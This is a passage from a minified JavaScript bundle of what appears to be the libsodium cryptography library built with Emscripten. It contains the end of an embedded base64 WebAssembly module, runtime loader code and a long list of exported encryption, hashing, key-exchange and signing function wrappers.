5AGqmiQBRiIoApSszAOeLPQA5Xzv+dmIZ/5c/7AFevvr/qblyAQX6Ov9LaWEB19+GAHFjowGAPnAAY2qTAKPDCgAhzbYA1g6u/4Em5/81tt8AYiqf//cNKAC80rEBBhUA//89lP6JLYH/WRp0/n4mcgD7MvL+eYaA/8z5p/6l69cAyrHzAIWNPgDwgr4Bbq//AAAUkgEl0nn/ByeCAI76VP+NyM8ACV9o/wv0rgCG6H4ApwF7/hDBlf/o6e8B1UZw//x0oP7y3tz/zVXjAAe5OgB29z8BdE2x/z71yP4/EiX/azXo/jLd0wCi2wf+Al4rALY+tv6gTsj/h4yqAOu45ACvNYr+UDpN/5jJAgE/xCIABR64AKuwmgB5O84AJmMnAKxQTf4AhpcAuiHx/l793/8scvwAbH45/8koDf8n5Rv/J+8XAZd5M/+ZlvgACuqu/3b2BP7I9SYARaHyARCylgBxOIIAqx9pABpYbP8xKmoA+6lCAEVdlQAUOf4ApBlvAFq8Wv/MBMUAKNUyAdRghP9YirT+5JJ8/7j29wBBdVb//WbS/v55JACJcwP/PBjYAIYSHQA74mEAsI5HAAfRoQC9VDP+m/pIANVU6/8t3uAA7pSP/6oqNf9Op3UAugAo/32xZ/9F4UIA4wdYAUusBgCpLeMBECRG/zICCf+LwRYAj7fn/tpFMgDsOKEB1YMqAIqRLP6I5Sj/MT8j/z2R9f9lwAL+6KdxAJhoJgF5udoAeYvT/nfwIwBBvdn+u7Oi/6C75gA++A7/PE5hAP/3o//hO1v/a0c6//EvIQEydewA27E//vRaswAjwtf/vUMy/xeHgQBovSX/uTnCACM+5//c+GwADOeyAI9QWwGDXWX/kCcCAf/6sgAFEez+iyAuAMy8Jv71czT/v3FJ/r9sRf8WRfUBF8uyAKpjqgBB+G8AJWyZ/0AlRQAAWD7+WZSQ/79E4AHxJzUAKcvt/5F+wv/dKv3/GWOXAGH93wFKczH/Bq9I/zuwywB8t/kB5ORjAIEMz/6owMP/zLAQ/pjqqwBNJVX/IXiH/47C4wEf1joA1bt9/+guPP++dCr+l7IT/zM+7f7M7MEAwug8AKwinf+9ELj+ZwNf/43pJP4pGQv/FcOmAHb1LQBD1ZX/nwwS/7uk4wGgGQUADE7DASvF4QAwjin+xJs8/9/HEgGRiJwA/HWp/pHi7gDvF2sAbbW8/+ZwMf5Jqu3/57fj/1DcFADCa38Bf81lAC40xQHSqyT/WANa/ziXjQBgu///Kk7IAP5GRgH0fagAzESKAXzXRgBmQsj+ETTkAHXcj/7L+HsAOBKu/7qXpP8z6NABoOQr//kdGQFEvj8ADQAAAAD/AAAAAPUAAAAAAAD7AAAAAAAA/QAAAADzAAAAAAcAAAAAAAMAAAAA8wAAAAAFAAAAAAAAAAALAAAAAAALAAAAAPMAAAAAAAD9AAAAAAD/AAAAAAMAAAAA9QAAAAAAAAAPAAAAAAD/AAAAAP8AAAAABwAAAAAFAEGMhwILAQEAQbCHAgsBAQBB0IcCC6AB4Ot6fDtBuK4WVuP68Z/EatoJjeucMrH9hmIFFl9JuABfnJW8o1CMJLHQsVWcg+9bBERcxFgcjobYIk7d0J8RV+z///////////////////////////////////////9/7f///////////////////////////////////////3/u////////////////////////////////////////fwBBkIkCC6ECZ+YJaoWuZ7ty8248OvVPpX9SDlGMaAWbq9mDHxnN4FuYL4pCkUQ3cc/7wLWl27XpW8JWOfER8Vmkgj+S1V4cq5iqB9gBW4MSvoUxJMN9DFV0Xb5y/rHegKcG3Jt08ZvBwWmb5IZHvu/GncEPzKEMJG8s6S2qhHRK3KmwXNqI+XZSUT6YbcYxqMgnA7DHf1m/8wvgxkeRp9VRY8oGZykpFIUKtyc4IRsu/G0sTRMNOFNUcwpluwpqdi7JwoGFLHKSoei/oktmGqhwi0vCo1FsxxnoktEkBpnWhTUO9HCgahAWwaQZCGw3Hkx3SCe1vLA0swwcOUqq2E5Pypxb828uaO6Cj3RvY6V4FHjIhAgCx4z6/76Q62xQpPej+b7yeHHGgABBgIwCC8EFCMm882fmCWo7p8qEha5nuyv4lP5y82488TYdXzr1T6XRguatf1IOUR9sPiuMaAWba71B+6vZgx95IX4TGc3gWyKuKNeYL4pCzWXvI5FEN3EvO03sz/vAtbzbiYGl27XpOLVI81vCVjkZ0AW28RHxWZtPGa+kgj+SGIFt2tVeHKtCAgOjmKoH2L5vcEUBW4MSjLLkTr6FMSTitP/Vw30MVW+Je/J0Xb5ysZYWO/6x3oA1Esclpwbcm5Qmac908ZvB0krxnsFpm+TjJU84hke+77XVjIvGncEPZZysd8yhDCR1AitZbyzpLYPkpm6qhHRK1PtBvdypsFy1UxGD2oj5dqvfZu5SUT6YEDK0LW3GMag/IfuYyCcDsOQO777Hf1m/wo+oPfML4MYlpwqTR5Gn1W+CA+BRY8oGcG4OCmcpKRT8L9JGhQq3JybJJlw4IRsu7SrEWvxtLE3fs5WdEw04U95jr4tUcwplqLJ3PLsKanbmru1HLsnCgTs1ghSFLHKSZAPxTKHov6IBMEK8S2YaqJGX+NBwi0vCML5UBqNRbMcYUu/WGeiS0RCpZVUkBpnWKiBxV4U1DvS40bsycKBqEMjQ0rgWwaQZU6tBUQhsNx6Z647fTHdIJ6hIm+G1vLA0Y1rJxbMMHDnLikHjSqrYTnPjY3dPypxbo7iy1vNvLmj8su9d7oKPdGAvF0NvY6V4cqvwoRR4yITsOWQaCALHjCgeYyP6/76Q6b2C3utsUKQVecay96P5vitTcuPyeHHGnGEm6s4+J8oHwsAhx7iG0R7r4M3WfdrqeNFu7n9PffW6bxdyqmfwBqaYyKLFfWMKrg35vgSYPxEbRxwTNQtxG4R9BCP1d9sokyTHQHuryjK8vskVCr6ePEwNEJzEZx1DtkI+y77UxUwqfmX8nCl/Wez61jqrb8tfF1hHSowZRGyAAEHAkgILIVNpZ0VkMjU1MTkgbm8gRWQyNTUxOSBjb2xsaXNpb25zAQBBgJMCCzXQjgEAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQ==") || (x2 = M2, M2 = o2.locateFile ? o2.locateFile(x2, g2) : g2 + x2); - var R2, U2 = { 35256: () => o2.getRandomValue(), 35292: () => { - if (void 0 === o2.getRandomValue) - try { - var t3 = "object" == typeof window ? window : self, e4 = void 0 !== t3.crypto ? t3.crypto : t3.msCrypto, r8 = function() { - var t4 = new Uint32Array(1); - return e4.getRandomValues(t4), t4[0] >>> 0; - }; - r8(), o2.getRandomValue = r8; - } catch (t4) { - try { - var n6 = __require("crypto"), A6 = function() { - var t5 = n6.randomBytes(4); - return (t5[0] << 24 | t5[1] << 16 | t5[2] << 8 | t5[3]) >>> 0; - }; - A6(), o2.getRandomValue = A6; - } catch (t5) { - throw "No secure random number generator found"; - } - } - } }, G2 = (t3) => { - for (; t3.length > 0; ) - t3.shift()(o2); - }, H2 = "undefined" != typeof TextDecoder ? new TextDecoder("utf8") : void 0, L2 = (t3, e4) => t3 ? ((t4, e5, r8) => { - for (var n6 = e5 + r8, A6 = e5; t4[A6] && !(A6 >= n6); ) - ++A6; - if (A6 - e5 > 16 && t4.buffer && H2) - return H2.decode(t4.subarray(e5, A6)); - for (var i3 = ""; e5 < A6; ) { - var o3 = t4[e5++]; - if (128 & o3) { - var s3 = 63 & t4[e5++]; - if (192 != (224 & o3)) { - var a3 = 63 & t4[e5++]; - if ((o3 = 224 == (240 & o3) ? (15 & o3) << 12 | s3 << 6 | a3 : (7 & o3) << 18 | s3 << 12 | a3 << 6 | 63 & t4[e5++]) < 65536) - i3 += String.fromCharCode(o3); - else { - var c3 = o3 - 65536; - i3 += String.fromCharCode(55296 | c3 >> 10, 56320 | 1023 & c3); - } - } else - i3 += String.fromCharCode((31 & o3) << 6 | s3); - } else - i3 += String.fromCharCode(o3); - } - return i3; - })(y2, t3, e4) : "", O2 = [], Y2 = (t3) => { - var e4 = (t3 - p2.buffer.byteLength + 65535) / 65536; - try { - return p2.grow(e4), _2(), 1; - } catch (t4) { - } - }, K2 = { b: (t3, e4, r8, n6) => { - N3(`Assertion failed: ${L2(t3)}, at: ` + [e4 ? L2(e4) : "unknown filename", r8, n6 ? L2(n6) : "unknown function"]); - }, c: () => { - N3(""); - }, a: (t3, e4, r8) => ((t4, e5, r9) => { - var n6 = ((t5, e6) => { - var r10; - for (O2.length = 0; r10 = y2[t5++]; ) - e6 += 105 != r10 && e6 % 8 ? 4 : 0, O2.push(105 == r10 ? m2[e6 >> 2] : w2[e6 >> 3]), e6 += 105 == r10 ? 4 : 8; - return O2; - })(e5, r9); - return U2[t4].apply(null, n6); - })(t3, e4, r8), d: (t3, e4, r8) => y2.copyWithin(t3, e4, e4 + r8), e: (t3) => { - var e4 = y2.length, r8 = 2147483648; - if ((t3 >>>= 0) > r8) - return false; - for (var n6, A6 = 1; A6 <= 4; A6 *= 2) { - var i3 = e4 * (1 + 0.2 / A6); - i3 = Math.min(i3, t3 + 100663296); - var o3 = Math.min(r8, (n6 = Math.max(t3, i3)) + (65536 - n6 % 65536) % 65536); - if (Y2(o3)) - return true; - } - return false; - } }, J2 = function() { - var t3, e4, r8 = { a: K2 }; - function n6(t4, e5) { - var r9 = t4.exports; - return p2 = (J2 = r9).f, _2(), J2.tc, function(t5) { - if (D2--, o2.monitorRunDependencies && o2.monitorRunDependencies(D2), 0 == D2 && S2) { - var e6 = S2; - S2 = null, e6(); - } - }(), r9; - } - if (D2++, o2.monitorRunDependencies && o2.monitorRunDependencies(D2), o2.instantiateWasm) - try { - return o2.instantiateWasm(r8, n6); - } catch (t4) { - return d2(`Module.instantiateWasm callback failed with error: ${t4}`), false; - } - return t3 = r8, e4 = function(t4) { - n6(t4.instance); - }, function(t4) { - return Promise.resolve().then(() => function(t5) { - if (t5 == M2 && f2) - return new Uint8Array(f2); - var e5 = function(t6) { - if (P2(t6)) - return function(t7) { - if (void 0 !== h2 && h2) { - var e6 = Buffer.from(t7, "base64"); - return new Uint8Array(e6.buffer, e6.byteOffset, e6.length); - } - try { - for (var r9 = atob(t7), n7 = new Uint8Array(r9.length), A6 = 0; A6 < r9.length; ++A6) - n7[A6] = r9.charCodeAt(A6); - return n7; - } catch (t8) { - throw new Error("Converting base64 string to bytes failed."); - } - }(t6.slice(37)); - }(t5); - if (e5) - return e5; - if (A5) - return A5(t5); - throw "both async and sync fetching of the wasm failed"; - }(t4)); - }(M2).then((e5) => WebAssembly.instantiate(e5, t3)).then((t4) => t4).then(e4, (t4) => { - d2(`failed to asynchronously prepare wasm: ${t4}`), N3(t4); - }), {}; - }(); - function j2() { - function t3() { - R2 || (R2 = true, o2.calledRun = true, v2 || (G2(b2), o2.onRuntimeInitialized && o2.onRuntimeInitialized(), function() { - if (o2.postRun) - for ("function" == typeof o2.postRun && (o2.postRun = [o2.postRun]); o2.postRun.length; ) - t4 = o2.postRun.shift(), k2.unshift(t4); - var t4; - G2(k2); - }())); - } - D2 > 0 || (function() { - if (o2.preRun) - for ("function" == typeof o2.preRun && (o2.preRun = [o2.preRun]); o2.preRun.length; ) - t4 = o2.preRun.shift(), Q2.unshift(t4); - var t4; - G2(Q2); - }(), D2 > 0 || (o2.setStatus ? (o2.setStatus("Running..."), setTimeout(function() { - setTimeout(function() { - o2.setStatus(""); - }, 1), t3(); - }, 1)) : t3())); - } - if (o2._crypto_aead_chacha20poly1305_encrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3) => (o2._crypto_aead_chacha20poly1305_encrypt_detached = J2.g)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3), o2._crypto_aead_chacha20poly1305_encrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_encrypt = J2.h)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_ietf_encrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3) => (o2._crypto_aead_chacha20poly1305_ietf_encrypt_detached = J2.i)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3), o2._crypto_aead_chacha20poly1305_ietf_encrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_ietf_encrypt = J2.j)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_decrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_decrypt_detached = J2.k)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_decrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_decrypt = J2.l)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_ietf_decrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_ietf_decrypt_detached = J2.m)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_ietf_decrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_chacha20poly1305_ietf_decrypt = J2.n)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_chacha20poly1305_ietf_keybytes = () => (o2._crypto_aead_chacha20poly1305_ietf_keybytes = J2.o)(), o2._crypto_aead_chacha20poly1305_ietf_npubbytes = () => (o2._crypto_aead_chacha20poly1305_ietf_npubbytes = J2.p)(), o2._crypto_aead_chacha20poly1305_ietf_nsecbytes = () => (o2._crypto_aead_chacha20poly1305_ietf_nsecbytes = J2.q)(), o2._crypto_aead_chacha20poly1305_ietf_abytes = () => (o2._crypto_aead_chacha20poly1305_ietf_abytes = J2.r)(), o2._crypto_aead_chacha20poly1305_ietf_messagebytes_max = () => (o2._crypto_aead_chacha20poly1305_ietf_messagebytes_max = J2.s)(), o2._crypto_aead_chacha20poly1305_ietf_keygen = (t3) => (o2._crypto_aead_chacha20poly1305_ietf_keygen = J2.t)(t3), o2._crypto_aead_chacha20poly1305_keybytes = () => (o2._crypto_aead_chacha20poly1305_keybytes = J2.u)(), o2._crypto_aead_chacha20poly1305_npubbytes = () => (o2._crypto_aead_chacha20poly1305_npubbytes = J2.v)(), o2._crypto_aead_chacha20poly1305_nsecbytes = () => (o2._crypto_aead_chacha20poly1305_nsecbytes = J2.w)(), o2._crypto_aead_chacha20poly1305_abytes = () => (o2._crypto_aead_chacha20poly1305_abytes = J2.x)(), o2._crypto_aead_chacha20poly1305_messagebytes_max = () => (o2._crypto_aead_chacha20poly1305_messagebytes_max = J2.y)(), o2._crypto_aead_chacha20poly1305_keygen = (t3) => (o2._crypto_aead_chacha20poly1305_keygen = J2.z)(t3), o2._crypto_aead_xchacha20poly1305_ietf_encrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3) => (o2._crypto_aead_xchacha20poly1305_ietf_encrypt_detached = J2.A)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3, u3), o2._crypto_aead_xchacha20poly1305_ietf_encrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_xchacha20poly1305_ietf_encrypt = J2.B)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_xchacha20poly1305_ietf_decrypt_detached = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_xchacha20poly1305_ietf_decrypt_detached = J2.C)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_xchacha20poly1305_ietf_decrypt = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3) => (o2._crypto_aead_xchacha20poly1305_ietf_decrypt = J2.D)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3, g3), o2._crypto_aead_xchacha20poly1305_ietf_keybytes = () => (o2._crypto_aead_xchacha20poly1305_ietf_keybytes = J2.E)(), o2._crypto_aead_xchacha20poly1305_ietf_npubbytes = () => (o2._crypto_aead_xchacha20poly1305_ietf_npubbytes = J2.F)(), o2._crypto_aead_xchacha20poly1305_ietf_nsecbytes = () => (o2._crypto_aead_xchacha20poly1305_ietf_nsecbytes = J2.G)(), o2._crypto_aead_xchacha20poly1305_ietf_abytes = () => (o2._crypto_aead_xchacha20poly1305_ietf_abytes = J2.H)(), o2._crypto_aead_xchacha20poly1305_ietf_messagebytes_max = () => (o2._crypto_aead_xchacha20poly1305_ietf_messagebytes_max = J2.I)(), o2._crypto_aead_xchacha20poly1305_ietf_keygen = (t3) => (o2._crypto_aead_xchacha20poly1305_ietf_keygen = J2.J)(t3), o2._crypto_auth_bytes = () => (o2._crypto_auth_bytes = J2.K)(), o2._crypto_auth_keybytes = () => (o2._crypto_auth_keybytes = J2.L)(), o2._crypto_auth = (t3, e4, r8, n6, A6) => (o2._crypto_auth = J2.M)(t3, e4, r8, n6, A6), o2._crypto_auth_verify = (t3, e4, r8, n6, A6) => (o2._crypto_auth_verify = J2.N)(t3, e4, r8, n6, A6), o2._crypto_auth_keygen = (t3) => (o2._crypto_auth_keygen = J2.O)(t3), o2._crypto_box_seedbytes = () => (o2._crypto_box_seedbytes = J2.P)(), o2._crypto_box_publickeybytes = () => (o2._crypto_box_publickeybytes = J2.Q)(), o2._crypto_box_secretkeybytes = () => (o2._crypto_box_secretkeybytes = J2.R)(), o2._crypto_box_beforenmbytes = () => (o2._crypto_box_beforenmbytes = J2.S)(), o2._crypto_box_noncebytes = () => (o2._crypto_box_noncebytes = J2.T)(), o2._crypto_box_macbytes = () => (o2._crypto_box_macbytes = J2.U)(), o2._crypto_box_messagebytes_max = () => (o2._crypto_box_messagebytes_max = J2.V)(), o2._crypto_box_seed_keypair = (t3, e4, r8) => (o2._crypto_box_seed_keypair = J2.W)(t3, e4, r8), o2._crypto_box_keypair = (t3, e4) => (o2._crypto_box_keypair = J2.X)(t3, e4), o2._crypto_box_beforenm = (t3, e4, r8) => (o2._crypto_box_beforenm = J2.Y)(t3, e4, r8), o2._crypto_box_detached_afternm = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_box_detached_afternm = J2.Z)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_box_detached = (t3, e4, r8, n6, A6, i3, s3, a3) => (o2._crypto_box_detached = J2._)(t3, e4, r8, n6, A6, i3, s3, a3), o2._crypto_box_easy_afternm = (t3, e4, r8, n6, A6, i3) => (o2._crypto_box_easy_afternm = J2.$)(t3, e4, r8, n6, A6, i3), o2._crypto_box_easy = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_box_easy = J2.aa)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_box_open_detached_afternm = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_box_open_detached_afternm = J2.ba)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_box_open_detached = (t3, e4, r8, n6, A6, i3, s3, a3) => (o2._crypto_box_open_detached = J2.ca)(t3, e4, r8, n6, A6, i3, s3, a3), o2._crypto_box_open_easy_afternm = (t3, e4, r8, n6, A6, i3) => (o2._crypto_box_open_easy_afternm = J2.da)(t3, e4, r8, n6, A6, i3), o2._crypto_box_open_easy = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_box_open_easy = J2.ea)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_box_seal = (t3, e4, r8, n6, A6) => (o2._crypto_box_seal = J2.fa)(t3, e4, r8, n6, A6), o2._crypto_box_seal_open = (t3, e4, r8, n6, A6, i3) => (o2._crypto_box_seal_open = J2.ga)(t3, e4, r8, n6, A6, i3), o2._crypto_box_sealbytes = () => (o2._crypto_box_sealbytes = J2.ha)(), o2._crypto_generichash_bytes_min = () => (o2._crypto_generichash_bytes_min = J2.ia)(), o2._crypto_generichash_bytes_max = () => (o2._crypto_generichash_bytes_max = J2.ja)(), o2._crypto_generichash_bytes = () => (o2._crypto_generichash_bytes = J2.ka)(), o2._crypto_generichash_keybytes_min = () => (o2._crypto_generichash_keybytes_min = J2.la)(), o2._crypto_generichash_keybytes_max = () => (o2._crypto_generichash_keybytes_max = J2.ma)(), o2._crypto_generichash_keybytes = () => (o2._crypto_generichash_keybytes = J2.na)(), o2._crypto_generichash_statebytes = () => (o2._crypto_generichash_statebytes = J2.oa)(), o2._crypto_generichash = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_generichash = J2.pa)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_generichash_init = (t3, e4, r8, n6) => (o2._crypto_generichash_init = J2.qa)(t3, e4, r8, n6), o2._crypto_generichash_update = (t3, e4, r8, n6) => (o2._crypto_generichash_update = J2.ra)(t3, e4, r8, n6), o2._crypto_generichash_final = (t3, e4, r8) => (o2._crypto_generichash_final = J2.sa)(t3, e4, r8), o2._crypto_generichash_keygen = (t3) => (o2._crypto_generichash_keygen = J2.ta)(t3), o2._crypto_hash_bytes = () => (o2._crypto_hash_bytes = J2.ua)(), o2._crypto_hash = (t3, e4, r8, n6) => (o2._crypto_hash = J2.va)(t3, e4, r8, n6), o2._crypto_kdf_bytes_min = () => (o2._crypto_kdf_bytes_min = J2.wa)(), o2._crypto_kdf_bytes_max = () => (o2._crypto_kdf_bytes_max = J2.xa)(), o2._crypto_kdf_contextbytes = () => (o2._crypto_kdf_contextbytes = J2.ya)(), o2._crypto_kdf_keybytes = () => (o2._crypto_kdf_keybytes = J2.za)(), o2._crypto_kdf_derive_from_key = (t3, e4, r8, n6, A6, i3) => (o2._crypto_kdf_derive_from_key = J2.Aa)(t3, e4, r8, n6, A6, i3), o2._crypto_kdf_keygen = (t3) => (o2._crypto_kdf_keygen = J2.Ba)(t3), o2._crypto_kdf_hkdf_sha256_extract_init = (t3, e4, r8) => (o2._crypto_kdf_hkdf_sha256_extract_init = J2.Ca)(t3, e4, r8), o2._crypto_kdf_hkdf_sha256_extract_update = (t3, e4, r8) => (o2._crypto_kdf_hkdf_sha256_extract_update = J2.Da)(t3, e4, r8), o2._crypto_kdf_hkdf_sha256_extract_final = (t3, e4) => (o2._crypto_kdf_hkdf_sha256_extract_final = J2.Ea)(t3, e4), o2._crypto_kdf_hkdf_sha256_extract = (t3, e4, r8, n6, A6) => (o2._crypto_kdf_hkdf_sha256_extract = J2.Fa)(t3, e4, r8, n6, A6), o2._crypto_kdf_hkdf_sha256_keygen = (t3) => (o2._crypto_kdf_hkdf_sha256_keygen = J2.Ga)(t3), o2._crypto_kdf_hkdf_sha256_expand = (t3, e4, r8, n6, A6) => (o2._crypto_kdf_hkdf_sha256_expand = J2.Ha)(t3, e4, r8, n6, A6), o2._crypto_kdf_hkdf_sha256_keybytes = () => (o2._crypto_kdf_hkdf_sha256_keybytes = J2.Ia)(), o2._crypto_kdf_hkdf_sha256_bytes_min = () => (o2._crypto_kdf_hkdf_sha256_bytes_min = J2.Ja)(), o2._crypto_kdf_hkdf_sha256_bytes_max = () => (o2._crypto_kdf_hkdf_sha256_bytes_max = J2.Ka)(), o2._crypto_kdf_hkdf_sha256_statebytes = () => (o2._crypto_kdf_hkdf_sha256_statebytes = J2.La)(), o2._crypto_kdf_hkdf_sha512_extract_init = (t3, e4, r8) => (o2._crypto_kdf_hkdf_sha512_extract_init = J2.Ma)(t3, e4, r8), o2._crypto_kdf_hkdf_sha512_extract_update = (t3, e4, r8) => (o2._crypto_kdf_hkdf_sha512_extract_update = J2.Na)(t3, e4, r8), o2._crypto_kdf_hkdf_sha512_extract_final = (t3, e4) => (o2._crypto_kdf_hkdf_sha512_extract_final = J2.Oa)(t3, e4), o2._crypto_kdf_hkdf_sha512_extract = (t3, e4, r8, n6, A6) => (o2._crypto_kdf_hkdf_sha512_extract = J2.Pa)(t3, e4, r8, n6, A6), o2._crypto_kdf_hkdf_sha512_keygen = (t3) => (o2._crypto_kdf_hkdf_sha512_keygen = J2.Qa)(t3), o2._crypto_kdf_hkdf_sha512_expand = (t3, e4, r8, n6, A6) => (o2._crypto_kdf_hkdf_sha512_expand = J2.Ra)(t3, e4, r8, n6, A6), o2._crypto_kdf_hkdf_sha512_keybytes = () => (o2._crypto_kdf_hkdf_sha512_keybytes = J2.Sa)(), o2._crypto_kdf_hkdf_sha512_bytes_min = () => (o2._crypto_kdf_hkdf_sha512_bytes_min = J2.Ta)(), o2._crypto_kdf_hkdf_sha512_bytes_max = () => (o2._crypto_kdf_hkdf_sha512_bytes_max = J2.Ua)(), o2._crypto_kx_seed_keypair = (t3, e4, r8) => (o2._crypto_kx_seed_keypair = J2.Va)(t3, e4, r8), o2._crypto_kx_keypair = (t3, e4) => (o2._crypto_kx_keypair = J2.Wa)(t3, e4), o2._crypto_kx_client_session_keys = (t3, e4, r8, n6, A6) => (o2._crypto_kx_client_session_keys = J2.Xa)(t3, e4, r8, n6, A6), o2._crypto_kx_server_session_keys = (t3, e4, r8, n6, A6) => (o2._crypto_kx_server_session_keys = J2.Ya)(t3, e4, r8, n6, A6), o2._crypto_kx_publickeybytes = () => (o2._crypto_kx_publickeybytes = J2.Za)(), o2._crypto_kx_secretkeybytes = () => (o2._crypto_kx_secretkeybytes = J2._a)(), o2._crypto_kx_seedbytes = () => (o2._crypto_kx_seedbytes = J2.$a)(), o2._crypto_kx_sessionkeybytes = () => (o2._crypto_kx_sessionkeybytes = J2.ab)(), o2._crypto_scalarmult_base = (t3, e4) => (o2._crypto_scalarmult_base = J2.bb)(t3, e4), o2._crypto_scalarmult = (t3, e4, r8) => (o2._crypto_scalarmult = J2.cb)(t3, e4, r8), o2._crypto_scalarmult_bytes = () => (o2._crypto_scalarmult_bytes = J2.db)(), o2._crypto_scalarmult_scalarbytes = () => (o2._crypto_scalarmult_scalarbytes = J2.eb)(), o2._crypto_secretbox_keybytes = () => (o2._crypto_secretbox_keybytes = J2.fb)(), o2._crypto_secretbox_noncebytes = () => (o2._crypto_secretbox_noncebytes = J2.gb)(), o2._crypto_secretbox_macbytes = () => (o2._crypto_secretbox_macbytes = J2.hb)(), o2._crypto_secretbox_messagebytes_max = () => (o2._crypto_secretbox_messagebytes_max = J2.ib)(), o2._crypto_secretbox_keygen = (t3) => (o2._crypto_secretbox_keygen = J2.jb)(t3), o2._crypto_secretbox_detached = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_secretbox_detached = J2.kb)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_secretbox_easy = (t3, e4, r8, n6, A6, i3) => (o2._crypto_secretbox_easy = J2.lb)(t3, e4, r8, n6, A6, i3), o2._crypto_secretbox_open_detached = (t3, e4, r8, n6, A6, i3, s3) => (o2._crypto_secretbox_open_detached = J2.mb)(t3, e4, r8, n6, A6, i3, s3), o2._crypto_secretbox_open_easy = (t3, e4, r8, n6, A6, i3) => (o2._crypto_secretbox_open_easy = J2.nb)(t3, e4, r8, n6, A6, i3), o2._crypto_secretstream_xchacha20poly1305_keygen = (t3) => (o2._crypto_secretstream_xchacha20poly1305_keygen = J2.ob)(t3), o2._crypto_secretstream_xchacha20poly1305_init_push = (t3, e4, r8) => (o2._crypto_secretstream_xchacha20poly1305_init_push = J2.pb)(t3, e4, r8), o2._crypto_secretstream_xchacha20poly1305_init_pull = (t3, e4, r8) => (o2._crypto_secretstream_xchacha20poly1305_init_pull = J2.qb)(t3, e4, r8), o2._crypto_secretstream_xchacha20poly1305_rekey = (t3) => (o2._crypto_secretstream_xchacha20poly1305_rekey = J2.rb)(t3), o2._crypto_secretstream_xchacha20poly1305_push = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3) => (o2._crypto_secretstream_xchacha20poly1305_push = J2.sb)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3), o2._crypto_secretstream_xchacha20poly1305_pull = (t3, e4, r8, n6, A6, i3, s3, a3, c3, h3) => (o2._crypto_secretstream_xchacha20poly1305_pull = J2.tb)(t3, e4, r8, n6, A6, i3, s3, a3, c3, h3), o2._crypto_secretstream_xchacha20poly1305_statebytes = () => (o2._crypto_secretstream_xchacha20poly1305_statebytes = J2.ub)(), o2._crypto_secretstream_xchacha20poly1305_abytes = () => (o2._crypto_secretstream_xchacha20poly1305_abytes = J2.vb)(), o2._crypto_secretstream_xchacha20poly1305_headerbytes = () => (o2._crypto_secretstream_xchacha20poly1305_headerbytes = J2.wb)(), o2._crypto_secretstream_xchacha20poly1305_keybytes = () => (o2._crypto_secretstream_xchacha20poly1305_keybytes = J2.xb)(), o2._crypto_secretstream_xchacha20poly1305_messagebytes_max = () => (o2._crypto_secretstream_xchacha20poly1305_messagebytes_max = J2.yb)(), o2._crypto_secretstream_xchacha20poly1305_tag_message = () => (o2._crypto_secretstream_xchacha20poly1305_tag_message = J2.zb)(), o2._crypto_secretstream_xchacha20poly1305_tag_push = () => (o2._crypto_secretstream_xchacha20poly1305_tag_push = J2.Ab)(), o2._crypto_secretstream_xchacha20poly1305_tag_rekey = () => (o2._crypto_secretstream_xchacha20poly1305_tag_rekey = J2.Bb)(), o2._crypto_secretstream_xchacha20poly1305_tag_final = () => (o2._crypto_secretstream_xchacha20poly1305_tag_final = J2.Cb)(), o2._crypto_shorthash_bytes = () => (o2._crypto_shorthash_bytes = J2.Db)(), o2._crypto_shorthash_keybytes = () => (o2._crypto_shorthash_keybytes = J2.Eb)(), o2._crypto_shorthash = (t3, e4, r8, n6, A6) => (o2._crypto_shorthash = J2.Fb)(t3, e4, r8, n6, A6), o2._crypto_shorthash_keygen = (t3) => (o2._crypto_shorthash_keygen = J2.Gb)(t3), o2._crypto_sign_statebytes = () => (o2._crypto_sign_statebytes = J2.Hb)(), o2._crypto_sign_bytes = () => (o2._crypto_sign_bytes = J2.Ib)(), 